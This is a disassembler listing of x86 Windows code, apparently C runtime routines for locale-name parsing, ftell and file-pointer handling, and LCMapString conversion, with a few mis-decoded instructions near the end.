		lea	edx, [ebp+var_88]
		push	edx
		push	offset dword_4EEA5C
		lea	eax, [ebp+var_88]
		push	eax
		call	loc_431CE0
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42B406
		xor	eax, eax
		jmp	loc_42B4A0
; ---------------------------------------------------------------------------


loc_42B406:				; CODE XREF: sub_42B320+DDj
		xor	ecx, ecx
		mov	cx, ds:word_4EEA60
		mov	ds:dword_4EEA64, ecx
		lea	edx, [ebp+var_88]
		push	edx
		push	offset dword_4504AC
		call	sub_42B670
		add	esp, 8
		mov	eax, [ebp+arg_0]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jz	short loc_42B446
		mov	edx, [ebp+arg_0]
		push	edx
		push	offset dword_450428
		call	sub_41E550
		add	esp, 8
		jmp	short loc_42B458
; ---------------------------------------------------------------------------


loc_42B446:				; CODE XREF: sub_42B320+111j
		push	offset dword_4504AC
		push	offset dword_450428
		call	sub_41E550
		add	esp, 8


loc_42B458:				; CODE XREF: sub_42B320+83j
					; sub_42B320+9Cj ...
		cmp	[ebp+arg_8], 0
		jz	short loc_42B471
		push	6
		push	offset dword_4EEA5C
		mov	eax, [ebp+arg_8]
		push	eax
		call	sub_41E840
		add	esp, 0Ch


loc_42B471:				; CODE XREF: sub_42B320+13Cj
		cmp	[ebp+arg_C], 0
		jz	short loc_42B48A
		push	4
		push	offset dword_4EEA64
		mov	ecx, [ebp+arg_C]
		push	ecx
		call	sub_41E840
		add	esp, 0Ch


loc_42B48A:				; CODE XREF: sub_42B320+155j
		push	offset dword_4504AC
		mov	edx, [ebp+arg_4]
		push	edx
		call	sub_41E550
		add	esp, 8
		mov	eax, offset dword_4504AC


loc_42B4A0:				; CODE XREF: sub_42B320+11j
					; sub_42B320+6Bj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42B320	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B4B0	proc near		; CODE XREF: sub_42B080+12Bp
					; DATA XREF: seg002:off_450538o
		push	ebp
		mov	ebp, esp
		xor	eax, eax
		pop	ebp
		retn
sub_42B4B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B4C0	proc near		; CODE XREF: sub_42B220+75p
					; sub_42B670+30p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8
		lea	eax, [ebp+arg_8]
		mov	[ebp+var_4], eax
		mov	[ebp+var_8], 0
		jmp	short loc_42B4DE
; ---------------------------------------------------------------------------


loc_42B4D5:				; CODE XREF: sub_42B4C0+42j
		mov	ecx, [ebp+var_8]
		add	ecx, 1
		mov	[ebp+var_8], ecx


loc_42B4DE:				; CODE XREF: sub_42B4C0+13j
		mov	edx, [ebp+var_8]
		cmp	edx, [ebp+arg_4]
		jge	short loc_42B504
		mov	eax, [ebp+var_4]
		add	eax, 4
		mov	[ebp+var_4], eax
		mov	ecx, [ebp+var_4]
		mov	edx, [ecx-4]
		push	edx
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41E560
		add	esp, 8
		jmp	short loc_42B4D5
; ---------------------------------------------------------------------------


loc_42B504:				; CODE XREF: sub_42B4C0+24j
		mov	[ebp+var_4], 0
		mov	esp, ebp
		pop	ebp
		retn
sub_42B4C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B510	proc near		; CODE XREF: sub_42B320+ADp

var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	88h
		push	0
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		mov	ecx, [ebp+arg_4]
		movsx	edx, byte ptr [ecx]
		test	edx, edx
		jnz	short loc_42B53A
		xor	eax, eax
		jmp	loc_42B669
; ---------------------------------------------------------------------------


loc_42B53A:				; CODE XREF: sub_42B510+21j
		mov	eax, [ebp+arg_4]
		movsx	ecx, byte ptr [eax]
		cmp	ecx, 2Eh
		jnz	short loc_42B570
		mov	edx, [ebp+arg_4]
		movsx	eax, byte ptr [edx+1]
		test	eax, eax
		jz	short loc_42B570
		mov	ecx, [ebp+arg_4]
		add	ecx, 1
		push	ecx
		mov	edx, [ebp+arg_0]
		add	edx, 80h
		push	edx
		call	sub_41E550
		add	esp, 8
		xor	eax, eax
		jmp	loc_42B669
; ---------------------------------------------------------------------------


loc_42B570:				; CODE XREF: sub_42B510+33j
					; sub_42B510+3Ej
		mov	[ebp+var_4], 0
		jmp	short loc_42B582
; ---------------------------------------------------------------------------


loc_42B579:				; CODE XREF: sub_42B510+152j
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_42B582:				; CODE XREF: sub_42B510+67j
		push	offset a___0	; "_.,"
		mov	ecx, [ebp+arg_4]
		push	ecx
		call	sub_431C60
		add	esp, 8
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0
		jnz	short loc_42B5A4
		or	eax, 0FFFFFFFFh
		jmp	loc_42B669
; ---------------------------------------------------------------------------


loc_42B5A4:				; CODE XREF: sub_42B510+8Aj
		mov	edx, [ebp+arg_4]
		add	edx, [ebp+var_C]
		mov	al, [edx]
		mov	[ebp+var_8], al
		cmp	[ebp+var_4], 0
		jnz	short loc_42B5DA
		cmp	[ebp+var_C], 40h
		jge	short loc_42B5DA
		movsx	ecx, [ebp+var_8]
		cmp	ecx, 2Eh
		jz	short loc_42B5DA
		mov	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41D800
		add	esp, 0Ch
		jmp	short loc_42B640
; ---------------------------------------------------------------------------


loc_42B5DA:				; CODE XREF: sub_42B510+A3j
					; sub_42B510+A9j ...
		cmp	[ebp+var_4], 1
		jnz	short loc_42B608
		cmp	[ebp+var_C], 40h
		jge	short loc_42B608
		movsx	edx, [ebp+var_8]
		cmp	edx, 5Fh
		jz	short loc_42B608
		mov	eax, [ebp+var_C]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		add	edx, 40h
		push	edx
		call	sub_41D800
		add	esp, 0Ch
		jmp	short loc_42B640
; ---------------------------------------------------------------------------


loc_42B608:				; CODE XREF: sub_42B510+CEj
					; sub_42B510+D4j ...
		cmp	[ebp+var_4], 2
		jnz	short loc_42B63B
		movsx	eax, [ebp+var_8]
		test	eax, eax
		jz	short loc_42B61F
		movsx	ecx, [ebp+var_8]
		cmp	ecx, 2Ch
		jnz	short loc_42B63B


loc_42B61F:				; CODE XREF: sub_42B510+104j
		mov	edx, [ebp+var_C]
		push	edx
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		add	ecx, 80h
		push	ecx
		call	sub_41D800
		add	esp, 0Ch
		jmp	short loc_42B640
; ---------------------------------------------------------------------------


loc_42B63B:				; CODE XREF: sub_42B510+FCj
					; sub_42B510+10Dj
		or	eax, 0FFFFFFFFh
		jmp	short loc_42B669
; ---------------------------------------------------------------------------


loc_42B640:				; CODE XREF: sub_42B510+C8j
					; sub_42B510+F6j ...
		movsx	edx, [ebp+var_8]
		cmp	edx, 2Ch
		jnz	short loc_42B64B
		jmp	short loc_42B667
; ---------------------------------------------------------------------------


loc_42B64B:				; CODE XREF: sub_42B510+137j
		movsx	eax, [ebp+var_8]
		test	eax, eax
		jnz	short loc_42B655
		jmp	short loc_42B667
; ---------------------------------------------------------------------------


loc_42B655:				; CODE XREF: sub_42B510+141j
		mov	ecx, [ebp+var_C]
		mov	edx, [ebp+arg_4]
		lea	eax, [edx+ecx+1]
		mov	[ebp+arg_4], eax
		jmp	loc_42B579
; ---------------------------------------------------------------------------


loc_42B667:				; CODE XREF: sub_42B510+139j
					; sub_42B510+143j
		xor	eax, eax


loc_42B669:				; CODE XREF: sub_42B510+25j
					; sub_42B510+5Bj ...
		mov	esp, ebp
		pop	ebp
		retn
sub_42B510	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B670	proc near		; CODE XREF: sub_42B320+101p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		push	eax
		mov	ecx, [ebp+arg_0]
		push	ecx
		call	sub_41E550
		add	esp, 8
		mov	edx, [ebp+arg_4]
		movsx	eax, byte ptr [edx+40h]
		test	eax, eax
		jz	short loc_42B6A8
		mov	ecx, [ebp+arg_4]
		add	ecx, 40h
		push	ecx
		push	offset a__3	; "_"
		push	2
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42B4C0
		add	esp, 10h


loc_42B6A8:				; CODE XREF: sub_42B670+1Cj
		mov	eax, [ebp+arg_4]
		movsx	ecx, byte ptr [eax+80h]
		test	ecx, ecx
		jz	short loc_42B6D3
		mov	edx, [ebp+arg_4]
		add	edx, 80h
		push	edx
		push	offset a__2	; "."
		push	2
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42B4C0
		add	esp, 10h


loc_42B6D3:				; CODE XREF: sub_42B670+44j
		pop	ebp
		retn
sub_42B670	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B6E0	proc near		; CODE XREF: sub_420250+10Ep
					; sub_424A30+216p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		cmp	eax, ds:dword_4EEE20
		jnb	short loc_42B711
		mov	ecx, [ebp+arg_0]
		sar	ecx, 5
		mov	edx, [ebp+arg_0]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, ds:dword_4EED20[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 1
		test	ecx, ecx
		jnz	short loc_42B72C


loc_42B711:				; CODE XREF: sub_42B6E0+Dj
		call	sub_4267E0
		mov	dword ptr [eax], 9
		call	sub_4267F0
		mov	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh
		jmp	short loc_42B75E
; ---------------------------------------------------------------------------


loc_42B72C:				; CODE XREF: sub_42B6E0+2Fj
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42DB90
		add	esp, 4
		mov	eax, [ebp+arg_8]
		push	eax
		mov	ecx, [ebp+arg_4]
		push	ecx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_42B770
		add	esp, 0Ch
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42DC20
		add	esp, 4
		mov	eax, [ebp+var_4]


loc_42B75E:				; CODE XREF: sub_42B6E0+4Aj
		mov	esp, ebp
		pop	ebp
		retn
sub_42B6E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B770	proc near		; CODE XREF: sub_4240D0+40Dp
					; sub_42B6E0+64p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	eax
		call	sub_42DA10
		add	esp, 4
		mov	[ebp+var_C], eax
		cmp	[ebp+var_C], 0FFFFFFFFh
		jnz	short loc_42B79E
		call	sub_4267E0
		mov	dword ptr [eax], 9
		or	eax, 0FFFFFFFFh
		jmp	loc_42B81E
; ---------------------------------------------------------------------------


loc_42B79E:				; CODE XREF: sub_42B770+19j
		mov	ecx, [ebp+arg_8]
		push	ecx
		push	0
		mov	edx, [ebp+arg_4]
		push	edx
		mov	eax, [ebp+var_C]
		push	eax
		call	ds:dword_4F13B8	; SetFilePointer
		mov	[ebp+var_8], eax
		cmp	[ebp+var_8], 0FFFFFFFFh
		jnz	short loc_42B7C6
		call	ds:dword_4F1310	; RtlGetLastWin32Error
		mov	[ebp+var_4], eax
		jmp	short loc_42B7CD
; ---------------------------------------------------------------------------


loc_42B7C6:				; CODE XREF: sub_42B770+49j
		mov	[ebp+var_4], 0


loc_42B7CD:				; CODE XREF: sub_42B770+54j
		cmp	[ebp+var_4], 0
		jz	short loc_42B7E4
		mov	ecx, [ebp+var_4]
		push	ecx
		call	sub_426740
		add	esp, 4
		or	eax, 0FFFFFFFFh
		jmp	short loc_42B81E
; ---------------------------------------------------------------------------


loc_42B7E4:				; CODE XREF: sub_42B770+61j
		mov	edx, [ebp+arg_0]
		sar	edx, 5
		mov	eax, [ebp+arg_0]
		and	eax, 1Fh
		imul	eax, 24h
		mov	ecx, ds:dword_4EED20[edx*4]
		mov	dl, [ecx+eax+4]
		and	dl, 0FDh
		mov	eax, [ebp+arg_0]
		sar	eax, 5
		mov	ecx, [ebp+arg_0]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	eax, ds:dword_4EED20[eax*4]
		mov	[eax+ecx+4], dl
		mov	eax, [ebp+var_8]


loc_42B81E:				; CODE XREF: sub_42B770+29j
					; sub_42B770+72j
		mov	esp, ebp
		pop	ebp
		retn
sub_42B770	endp

; ---------------------------------------------------------------------------
		align 10h
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi


loc_42B837:				; CODE XREF: seg000:0042B85Fj
		cmp	dword ptr [ebp+8], 0
		jnz	short loc_42B85B
		push	offset dword_4394EC
		push	0
		push	32h
		push	offset aFtell_c	; "ftell.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_42B85B
		int	3		; Trap to Debugger


loc_42B85B:				; CODE XREF: seg000:0042B83Bj
					; seg000:0042B858j
		xor	eax, eax
		test	eax, eax
		jnz	short loc_42B837
		mov	ecx, [ebp+8]
		push	ecx
		call	sub_41F070
		add	esp, 4
		mov	edx, [ebp+8]
		push	edx
		call	sub_42B8A0
		add	esp, 4
		mov	[ebp-4], eax
		mov	eax, [ebp+8]
		push	eax
		call	sub_41F0E0
		add	esp, 4
		mov	eax, [ebp-4]
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42B8A0	proc near		; CODE XREF: sub_420250+87p
					; seg000:0042B871p

var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ebx
		push	esi
		push	edi


loc_42B8A9:				; CODE XREF: sub_42B8A0+31j
		cmp	[ebp+arg_0], 0
		jnz	short loc_42B8CD
		push	offset dword_4394FC
		push	0
		push	63h
		push	offset aFtell_c	; "ftell.c"
		push	2
		call	loc_420E10
		add	esp, 14h
		cmp	eax, 1
		jnz	short loc_42B8CD
		int	3		; Trap to Debugger


loc_42B8CD:				; CODE XREF: sub_42B8A0+Dj
					; sub_42B8A0+2Aj
		xor	eax, eax
		test	eax, eax
		jnz	short loc_42B8A9
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], ecx
		mov	edx, [ebp+var_C]
		mov	eax, [edx+10h]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_C]
		cmp	dword ptr [ecx+4], 0
		jge	short loc_42B8F5
		mov	edx, [ebp+var_C]
		mov	dword ptr [edx+4], 0


loc_42B8F5:				; CODE XREF: sub_42B8A0+49j
		push	1
		push	0
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_42B6E0
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		cmp	[ebp+var_1C], 0
		jge	short loc_42B916
		or	eax, 0FFFFFFFFh
		jmp	loc_42BB33
; ---------------------------------------------------------------------------


loc_42B916:				; CODE XREF: sub_42B8A0+6Cj
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+0Ch]
		and	edx, 108h
		test	edx, edx
		jnz	short loc_42B936
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_1C]
		sub	ecx, [eax+4]
		mov	eax, ecx
		jmp	loc_42BB33
; ---------------------------------------------------------------------------


loc_42B936:				; CODE XREF: sub_42B8A0+84j
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_C]
		mov	ecx, [edx]
		sub	ecx, [eax+8]
		mov	[ebp+var_18], ecx
		mov	edx, [ebp+var_C]
		mov	eax, [edx+0Ch]
		and	eax, 3
		test	eax, eax
		jz	short loc_42B9AC
		mov	ecx, [ebp+var_8]
		sar	ecx, 5
		mov	edx, [ebp+var_8]
		and	edx, 1Fh
		imul	edx, 24h
		mov	eax, ds:dword_4EED20[ecx*4]
		movsx	ecx, byte ptr [eax+edx+4]
		and	ecx, 80h
		test	ecx, ecx
		jz	short loc_42B9AA
		mov	edx, [ebp+var_C]
		mov	eax, [edx+8]
		mov	[ebp+var_4], eax
		jmp	short loc_42B98A
; ---------------------------------------------------------------------------


loc_42B981:				; CODE XREF: sub_42B8A0:loc_42B9A8j
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_42B98A:				; CODE XREF: sub_42B8A0+DFj
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+var_4]
		cmp	eax, [edx]
		jnb	short loc_42B9AA
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 0Ah
		jnz	short loc_42B9A8
		mov	eax, [ebp+var_18]
		add	eax, 1
		mov	[ebp+var_18], eax


loc_42B9A8:				; CODE XREF: sub_42B8A0+FDj
		jmp	short loc_42B981
; ---------------------------------------------------------------------------


loc_42B9AA:				; CODE XREF: sub_42B8A0+D4j
					; sub_42B8A0+F2j
		jmp	short loc_42B9CF
; ---------------------------------------------------------------------------


loc_42B9AC:				; CODE XREF: sub_42B8A0+AFj
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+0Ch]
		and	edx, 80h
		test	edx, edx
		jnz	short loc_42B9CF
		call	sub_4267E0
		mov	dword ptr [eax], 16h
		or	eax, 0FFFFFFFFh
		jmp	loc_42BB33
; ---------------------------------------------------------------------------


loc_42B9CF:				; CODE XREF: sub_42B8A0:loc_42B9AAj
					; sub_42B8A0+11Aj
		cmp	[ebp+var_1C], 0
		jnz	short loc_42B9DD
		mov	eax, [ebp+var_18]
		jmp	loc_42BB33
; ---------------------------------------------------------------------------


loc_42B9DD:				; CODE XREF: sub_42B8A0+133j
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+0Ch]
		and	ecx, 1
		test	ecx, ecx
		jz	loc_42BB2D
		mov	edx, [ebp+var_C]
		cmp	dword ptr [edx+4], 0
		jnz	short loc_42BA03
		mov	[ebp+var_18], 0
		jmp	loc_42BB2D
; ---------------------------------------------------------------------------


loc_42BA03:				; CODE XREF: sub_42B8A0+155j
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_C]
		mov	edx, [eax]
		sub	edx, [ecx+8]
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+4]
		add	ecx, edx
		mov	[ebp+var_10], ecx
		mov	edx, [ebp+var_8]
		sar	edx, 5
		mov	eax, [ebp+var_8]
		and	eax, 1Fh
		imul	eax, 24h
		mov	ecx, ds:dword_4EED20[edx*4]
		movsx	edx, byte ptr [ecx+eax+4]
		and	edx, 80h
		test	edx, edx
		jz	loc_42BB24
		push	2
		push	0
		mov	eax, [ebp+var_8]
		push	eax
		call	sub_42B6E0
		add	esp, 0Ch
		cmp	eax, [ebp+var_1C]
		jnz	short loc_42BAB0
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+8]
		add	edx, [ebp+var_10]
		mov	[ebp+var_14], edx
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+8]
		mov	[ebp+var_4], ecx
		jmp	short loc_42BA77
; ---------------------------------------------------------------------------


loc_42BA6E:				; CODE XREF: sub_42B8A0:loc_42BA93j
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_42BA77:				; CODE XREF: sub_42B8A0+1CCj
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+var_14]
		jnb	short loc_42BA95
		mov	ecx, [ebp+var_4]
		movsx	edx, byte ptr [ecx]
		cmp	edx, 0Ah
		jnz	short loc_42BA93
		mov	eax, [ebp+var_10]
		add	eax, 1
		mov	[ebp+var_10], eax


loc_42BA93:				; CODE XREF: sub_42B8A0+1E8j
		jmp	short loc_42BA6E
; ---------------------------------------------------------------------------


loc_42BA95:				; CODE XREF: sub_42B8A0+1DDj
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+0Ch]
		and	edx, 2000h
		test	edx, edx
		jz	short loc_42BAAE
		mov	eax, [ebp+var_10]
		add	eax, 1
		mov	[ebp+var_10], eax


loc_42BAAE:				; CODE XREF: sub_42B8A0+203j
		jmp	short loc_42BB24
; ---------------------------------------------------------------------------


loc_42BAB0:				; CODE XREF: sub_42B8A0+1B5j
		push	0
		mov	ecx, [ebp+var_1C]
		push	ecx
		mov	edx, [ebp+var_8]
		push	edx
		call	sub_42B6E0
		add	esp, 0Ch
		cmp	[ebp+var_10], 200h
		ja	short loc_42BAF0
		mov	eax, [ebp+var_C]
		mov	ecx, [eax+0Ch]
		and	ecx, 8
		test	ecx, ecx
		jz	short loc_42BAF0
		mov	edx, [ebp+var_C]
		mov	eax, [edx+0Ch]
		and	eax, 400h
		test	eax, eax
		jnz	short loc_42BAF0
		mov	[ebp+var_10], 200h
		jmp	short loc_42BAF9
; ---------------------------------------------------------------------------


loc_42BAF0:				; CODE XREF: sub_42B8A0+229j
					; sub_42B8A0+236j ...
		mov	ecx, [ebp+var_C]
		mov	edx, [ecx+18h]
		mov	[ebp+var_10], edx


loc_42BAF9:				; CODE XREF: sub_42B8A0+24Ej
		mov	eax, [ebp+var_8]
		sar	eax, 5
		mov	ecx, [ebp+var_8]
		and	ecx, 1Fh
		imul	ecx, 24h
		mov	edx, ds:dword_4EED20[eax*4]
		movsx	eax, byte ptr [edx+ecx+4]
		and	eax, 4
		test	eax, eax
		jz	short loc_42BB24
		mov	ecx, [ebp+var_10]
		add	ecx, 1
		mov	[ebp+var_10], ecx


loc_42BB24:				; CODE XREF: sub_42B8A0+19Cj
					; sub_42B8A0:loc_42BAAEj ...
		mov	edx, [ebp+var_1C]
		sub	edx, [ebp+var_10]
		mov	[ebp+var_1C], edx


loc_42BB2D:				; CODE XREF: sub_42B8A0+148j
					; sub_42B8A0+15Ej
		mov	eax, [ebp+var_1C]
		add	eax, [ebp+var_18]


loc_42BB33:				; CODE XREF: sub_42B8A0+71j
					; sub_42B8A0+91j ...
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_42B8A0	endp

; ---------------------------------------------------------------------------
		align 10h


loc_42BB40:				; CODE XREF: sub_420A00+EBp
					; sub_4262B0+121p ...
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_43A2B0
		push	offset sub_42CA04
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		add	esp, 0FFFFFFDCh
		push	ebx
		push	esi
		push	edi
		mov	[ebp-18h], esp
		cmp	ds:dword_4EEA88, 0
		jnz	short loc_42BBC6
		push	0
		push	0
		push	1
		push	offset dword_43A2A8
		push	100h
		push	0
		call	ds:dword_4F12F0	; LCMapStringW
		test	eax, eax
		jz	short loc_42BB97
		mov	ds:dword_4EEA88, 1
		jmp	short loc_42BBC6
; ---------------------------------------------------------------------------


loc_42BB97:				; CODE XREF: seg000:0042BB89j
		push	0
		push	0
		push	1
		push	offset dword_43A2A4
		push	100h
		push	0
		call	near ptr 3D0000h
		xchg	eax, edi
		test	eax, eax
		jz	short loc_42BBBF
		mov	ds:dword_4EEA88, 2
		jmp	short loc_42BBC6
; ---------------------------------------------------------------------------


loc_42BBBF:				; CODE XREF: seg000:0042BBB1j
		xor	eax, eax
		jmp	loc_42BE31
; ---------------------------------------------------------------------------


loc_42BBC6:				; CODE XREF: seg000:0042BB6Dj
					; seg000:0042BB95j ...
		cmp	dword ptr [ebp+14h], 0
		jle	short loc_42BBDF
		mov	eax, [ebp+14h]
		push	eax
		mov	ecx, [ebp+10h]
		push	ecx
		call	sub_42BE50
		add	esp, 8
		mov	[ebp+14h], eax


loc_42BBDF:				; CODE XREF: seg000:0042BBCAj
		cmp	ds:dword_4EEA88, 2
		jnz	short near ptr loc_42BC0A+1
		mov	edx, [ebp+1Ch]
		push	edx
		mov	eax, [ebp+18h]
		push	eax
		mov	ecx, [ebp+14h]
		push	ecx
		mov	edx, [ebp+10h]
		push	edx
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		call	near ptr 3D0000h
		shr	ecx, 26h
		add	al, [eax]


loc_42BC0A:				; CODE XREF: seg000:0042BBE6j
		add	[ebx+4EEA883Dh], al
		add	[ecx], al
		jnz	loc_42BE2F
		cmp	dword ptr [ebp+20h], 0
		jnz	short loc_42BC27
		mov	edx, ds:dword_4EEA80
		mov	[ebp+20h], edx


loc_42BC27:				; CODE XREF: seg000:0042BC1Cj
		push	0
		push	0
		mov	eax, [ebp+14h]
		push	eax
		mov	ecx, [ebp+10h]
		push	ecx
		mov	edx, [ebp+24h]
		neg	edx
		sbb	edx, edx
		and	edx, 8
		add	edx, 1
		push	edx
		mov	eax, [ebp+20h]
		push	eax
		call	ds:dword_4F1370	; MultiByteToWideChar
		mov	[ebp-1Ch], eax
		cmp	dword ptr [ebp-1Ch], 0
		jnz	short loc_42BC5B
		xor	eax, eax
		jmp	loc_42BE31
; ---------------------------------------------------------------------------


loc_42BC5B:				; CODE XREF: seg000:0042BC52j
		mov	dword ptr [ebp-4], 0
		mov	eax, [ebp-1Ch]
		shl	eax, 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41DEB0
		mov	[ebp-30h], esp
		mov	[ebp-18h], esp
		mov	ecx, [ebp-30h]
		mov	[ebp-24h], ecx
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_42BC9D
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
		mov	dword ptr [ebp-24h], 0
		mov	dword ptr [ebp-4], 0FFFFFFFFh


loc_42BC9D:				; CODE XREF: seg000:0042BC84j
		cmp	dword ptr [ebp-24h], 0
		jnz	short loc_42BCAA
		xor	eax, eax
		jmp	loc_42BE31
; ---------------------------------------------------------------------------


loc_42BCAA:				; CODE XREF: seg000:0042BCA1j
		mov	edx, [ebp-1Ch]
		push	edx
		mov	eax, [ebp-24h]
		push	eax
		mov	ecx, [ebp+14h]
		push	ecx
		mov	edx, [ebp+10h]
		push	edx
		push	1
		mov	eax, [ebp+20h]
		push	eax
		call	ds:dword_4F1370	; MultiByteToWideChar
		test	eax, eax
		jnz	short loc_42BCD1
		xor	eax, eax
		jmp	loc_42BE31
; ---------------------------------------------------------------------------


loc_42BCD1:				; CODE XREF: seg000:0042BCC8j
		push	0
		push	0
		mov	ecx, [ebp-1Ch]
		push	ecx
		mov	edx, [ebp-24h]
		push	edx
		mov	eax, [ebp+0Ch]
		push	eax
		mov	ecx, [ebp+8]
		push	ecx
		call	ds:dword_4F12F0	; LCMapStringW
		mov	[ebp-28h], eax
		cmp	dword ptr [ebp-28h], 0
		jnz	short loc_42BCFB
		xor	eax, eax
		jmp	loc_42BE31
; ---------------------------------------------------------------------------


loc_42BCFB:				; CODE XREF: seg000:0042BCF2j
		mov	edx, [ebp+0Ch]
		and	edx, 400h
		test	edx, edx
		jz	short loc_42BD4B
		cmp	dword ptr [ebp+1Ch], 0
		jz	short loc_42BD46
		mov	eax, [ebp-28h]
		cmp	eax, [ebp+1Ch]
		jle	short loc_42BD1D
		xor	eax, eax
		jmp	loc_42BE31
; ---------------------------------------------------------------------------


loc_42BD1D:				; CODE XREF: seg000:0042BD14j
		mov	ecx, [ebp+1Ch]
		push	ecx
		mov	edx, [ebp+18h]
		push	edx
		mov	eax, [ebp-1Ch]
		push	eax
		mov	ecx, [ebp-24h]
		push	ecx
		mov	edx, [ebp+0Ch]
		push	edx
		mov	eax, [ebp+8]
		push	eax
		call	ds:dword_4F12F0	; LCMapStringW
		test	eax, eax
		jnz	short loc_42BD46
		xor	eax, eax
		jmp	loc_42BE31
; ---------------------------------------------------------------------------


loc_42BD46:				; CODE XREF: seg000:0042BD0Cj
					; seg000:0042BD3Dj
		jmp	loc_42BE2A
; ---------------------------------------------------------------------------


loc_42BD4B:				; CODE XREF: seg000:0042BD06j
		mov	ecx, [ebp-28h]
		mov	[ebp-2Ch], ecx
		mov	dword ptr [ebp-4], 1
		mov	eax, [ebp-2Ch]
		shl	eax, 1
		add	eax, 3
		and	al, 0FCh
		call	sub_41DEB0
		mov	[ebp-34h], esp
		mov	[ebp-18h], esp
		mov	edx, [ebp-34h]
		mov	[ebp-20h], edx
		mov	dword ptr [ebp-4], 0FFFFFFFFh
		jmp	short loc_42BD93
; ---------------------------------------------------------------------------
		mov	eax, 1
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp-18h]
